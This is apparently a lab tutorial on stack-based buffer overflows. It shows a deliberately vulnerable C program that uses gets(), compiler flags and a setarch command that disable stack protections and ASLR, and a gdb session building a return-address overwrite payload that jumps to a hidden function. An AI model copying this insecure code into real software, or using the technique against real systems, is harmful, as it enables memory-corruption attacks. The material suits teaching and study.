Category: Vulnerabilities

  • Stack‑based Buffer Overflow

    Stack‑based Buffer Overflow

    A stack‑based buffer overflow happens when a program writes more data into a stack‑allocated buffer than it was designed to hold. Because the stack stores important control data (like return addresses), overflowing a buffer can overwrite that data and change how the program executes.

    The following code contains a function named hidden that is never called during normal execution. However, a threat actor could exploit a stack‑based buffer overflow to redirect execution flow and invoke this function that lists the files in the current directory.

    #include <stdio.h> // Provides printf(), gets()
    #include <stdlib.h>// Provides system(), exit()
    #include <string.h>// String functions (not directly used here)

    void hidden() {
        printf(“Hidden Function\n”); // Print a message to stdout
        system(“ls -la”); // Execute a shell command
        exit(0); // Terminate the program immediately
    }

    void vulnerable() {
        char buffer[20]; // Allocate 20 bytes on the stack
        printf(“Enter text:\n”); // Prompt the user
        gets(buffer); // No bounds checking, Input longer than 20 bytes will overwrite adjacent stack memory
        printf(“You entered: %s\n”, buffer); // Echo user input back
    }

    int main() {
        vulnerable(); // Execute vulnerable code
        return 0; // Normal program termination
    }

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    void hidden() {
        printf("Hidden Function\n");
        system("ls -la");
        exit(0);
    }

    void vulnerable() {
        char buffer[20];
      printf("Enter text: ");
        gets(buffer); 
        printf("You entered: %s\n", buffer);
    }

    int main() {
        vulnerable();
        return 0;
    }

    Compile the program with gcc

    gcc # an open-source set of compilers and development tools for various programming languages
    -m32 # Compile as 32-bit (simpler stack layout, x86 calling convention)
    -O0 # Disable optimizations (keeps variables on the stack)
    -ggdb # Include GDB debugging symbols
    -static # Statically link libraries (fixed addresses, larger binary)
    -U_FORTIFY_SOURCE # Disable _FORTIFY_SOURCE safety checks
    -z execstack # Mark stack as executable (disable NX/DEP)
    -fno-stack-protector # Disable stack canaries
    -no-pie # Disable PIE (fixed code addresses, weaker ASLR)
    -mpreferred-stack-boundary=2 # Set stack alignment to 4 bytes (2^2)
    app.c -o app # Compile app.c into output binary “app”

    gcc -m32 -O0 -ggdb -static -U_FORTIFY_SOURCE -z execstack -fno-stack-protector -no-pie -mpreferred-stack-boundary=2 app.c -o app

    Access ASLR disabled shell using setarch

    setarch # Run a program with modified architecture settings
    `uname -m` # Use the current machine architecture (e.g., x86_64)
    -R # Disable ASLR (Address Space Layout Randomization)
    $SHELL # Start a new shell with these settings applied

    setarch `uname -m` -R $SHELL

    Change the app mode

    chmod # a Linux/Unix command used to change the permissions of a file or directory
    +x # Make it executable
    app # Name of the app

    chmod +x app

    Then, run the program with gdb 

    root@u20:~# gdb app
    GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.2) 9.2
    Copyright (C) 2020 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.
    Type "show copying" and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
        <http://www.gnu.org/software/gdb/documentation/>.

    For help, type "help".
    Type "apropos word" to search for commands related to "word"...
    Reading symbols from app...

    Instead of manually entering input, we use a Python script to generate the payload. The payload is 34 bytes in length, where 20 bytes are required to cause a segmentation fault and the remaining bytes serve as padding.

    (gdb) run < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*34)")
    Starting program: /root/app < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*34)")
    Enter text: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Program received signal SIGSEGV, Segmentation fault.
    0x08004141 in ?? ()

    Print the CPU registers, focusing on the EIP register, which is updated by the CPU to point to the next instruction to execute. When a function returns, the return address is stored on the stack and then loaded into EIP. In this case, the value 0x08004141 indicates that user‑controlled input has partially overwritten the return address. This confirms that the return address is reached after 32 bytes of padding.

    (gdb) info registers
    eax            0x30                48
    ecx            0x7fffffd0          2147483600
    edx            0x80b503c           134959164
    ebx            0x41414141          1094795585
    esp            0xffffd660          0xffffd660
    ebp            0x41414141          0x41414141
    esi            0x80e7000           135163904
    edi            0x80e7000           135163904
    eip            0x8004141           0x8004141
    eflags         0x10286             [ PF SF IF RF ]
    cs             0x23                35
    ss             0x2b                43
    ds             0x2b                43
    es             0x2b                43
    fs             0x0                 0
    gs             0x63                99

    Let’s find the hidden function address

    (gdb) disas hidden
    Dump of assembler code for function hidden:
       0x08049d95 <+0>:     endbr32 
       0x08049d99 <+4>:     push   %ebp
       0x08049d9a <+5>:     mov    %esp,%ebp
       0x08049d9c <+7>:     push   %ebx
       0x08049d9d <+8>:     sub    $0x4,%esp
       0x08049da0 <+11>:    call   0x8049c70 <__x86.get_pc_thunk.bx>
       0x08049da5 <+16>:    add    $0x9d25b,%ebx
       0x08049dab <+22>:    sub    $0xc,%esp
       0x08049dae <+25>:    lea    -0x31ff8(%ebx),%eax
       0x08049db4 <+31>:    push   %eax
       0x08049db5 <+32>:    call   0x8058b40 <puts>
       0x08049dba <+37>:    add    $0x10,%esp
       0x08049dbd <+40>:    sub    $0xc,%esp
       0x08049dc0 <+43>:    lea    -0x31fe8(%ebx),%eax
       0x08049dc6 <+49>:    push   %eax
       0x08049dc7 <+50>:    call   0x8051560 <system>
       0x08049dcc <+55>:    add    $0x10,%esp
       0x08049dcf <+58>:    sub    $0xc,%esp
       0x08049dd2 <+61>:    push   $0x0
       0x08049dd4 <+63>:    call   0x8050730 <exit>
    End of assembler dump.

    Use that address in the exploit payload after the 32 bytes padding, this will call the hidden function that lists directory files

    (gdb) run < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*32 + struct.pack('I', 0x08049d95))")
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /root/app < <(python3 -c "import struct; import sys; sys.stdout.buffer.write(b'A'*32 + struct.pack('I', 0x08049d95))")
    Enter text: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Hidden Function
    [Detaching after vfork from child process 449]
    total 784
    drwx------  5 root root   4096 Feb 10 20:16 .
    drwxr-xr-x 24 root root   4096 Feb 10 18:59 ..
    -rw-r--r--  1 root root   1024 Feb 10 07:02 .app.swp
    -rwxr-xr-x  1 root root 721556 Feb 10 20:16 app
    -rw-r--r--  1 root root    326 Feb 10 20:16 app.c
    drwxr-xr-x  9 root root   4096 Oct 19 14:51 vsftpd-2.3.4
    [Inferior 1 (process 446) exited normally]